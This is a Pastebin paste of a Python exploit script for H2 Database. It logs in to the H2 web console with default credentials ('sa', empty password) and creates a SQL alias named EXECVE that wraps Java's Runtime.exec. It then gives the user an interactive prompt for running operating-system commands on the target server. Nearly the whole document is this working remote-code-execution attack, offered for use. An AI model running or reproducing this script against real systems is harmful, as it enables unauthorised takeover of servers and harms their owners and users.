Advertisement
Guest User

Untitled

a guest
Oct 23rd, 2018
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.20 KB | None | 0 0
  1. '''
  2. Exploit Title: H2 Database Alias Abuse
  3. Date: 05/04/2018
  4. Exploit Author: gambler
  5. Vendor Homepage:www.h2database.com
  6. Software Link: http://www.h2database.com/html/download.html
  7. Version: all versions
  8. Tested on: Linux, Mac OS
  9. '''
  10.  
  11. import sys
  12. import argparse
  13. import html
  14. import requests
  15.  
  16. # Blogpost about it
  17. # https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html
  18.  
  19. def getCookie(host):
  20. url = 'http://{}'.format(host)
  21. r = requests.get(url)
  22. path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp','.do')
  23. return '{}/{}'.format(url,path)
  24.  
  25. def login(url,user,passwd,database):
  26. data = {'language':'en','setting':'Generic+H2+(Embedded)','name':'Generic+H2+(Embedded)','driver':'org.h2.Driver','url':database,'user':user,'password':passwd}
  27. r = requests.post(url,data=data)
  28. if '<th class="login">Login</th>' in r.text:
  29. return False
  30. return True
  31.  
  32. def prepare(url):
  33. cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;'''
  34. url = url.replace('login','query')
  35. r = requests.post(url,data={'sql':cmd})
  36. if not 'Syntax error' in r.text:
  37. return url
  38. return False
  39.  
  40. def execve(url,cmd):
  41. r = requests.post(url,data={'sql':"CALL EXECVE('{}')".format(cmd)})
  42. try:
  43. print(html.unescape(r.text.split('</th></tr><tr><td>')[1].split('</td>')[0].replace('<br />','\n').replace('&nbsp;',' ')).encode('utf-8').decode('utf-8','ignore'))
  44. except Exception as e:
  45. print('Something goes wrong')
  46. print(e)
  47.  
  48. if __name__ == "__main__":
  49. parser = argparse.ArgumentParser()
  50. required = parser.add_argument_group('required arguments')
  51. required.add_argument("-H",
  52. "--host",
  53. metavar='127.0.0.1:4336',
  54. help="Specify a host",
  55. required=True)
  56. required.add_argument("-d",
  57. "--database-url",
  58. metavar='jdbc:h2~/test',
  59. default="jdbc:h2~/test",
  60. help="Database URL",
  61. required=False)
  62. required.add_argument("-u",
  63. "--user",
  64. metavar='username',
  65. default="sa",
  66. help="Username to log on H2 Database, default sa",
  67. required=False)
  68. required.add_argument("-p",
  69. "--password",
  70. metavar='password',
  71. default="",
  72. help="Password to log on H2 Database, default None",
  73. required=False)
  74. args = parser.parse_args()
  75.  
  76. url = getCookie(args.host)
  77. if login(url,args.user,args.password,args.database_url):
  78. url = prepare(url)
  79. if url:
  80. while 1:
  81. try:
  82. cmd = input('cmdline@ ')
  83. execve(url,cmd)
  84. except KeyboardInterrupt:
  85. print("\nProfessores ensinam, nadadores Nadam e Hackers Hackeiam")
  86. sys.exit(0)
  87. else:
  88. print('ERROR - Inserting Payload')
  89. print("Something goes wrong, exiting...")
  90. else:
  91. print("ERROR - Auth")
  92. print("Something goes wrong, exiting...")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement